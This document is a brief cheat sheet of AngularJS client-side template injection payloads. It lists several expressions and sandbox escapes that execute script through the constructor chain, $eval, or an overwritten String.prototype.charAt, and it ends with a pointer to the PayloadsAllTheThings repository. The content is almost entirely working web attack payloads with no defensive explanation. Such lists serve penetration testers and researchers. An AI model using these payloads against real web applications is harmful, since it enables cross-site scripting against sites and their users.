Angular

CSTI

{{constructor.constructor('alert(1)')()}}

{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}

{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

More payloads:

PayloadsAllTheThings/XSS Injection/5 - XSS in Angular.md at master · swisskyrepo/PayloadsAllTheThingsGitHub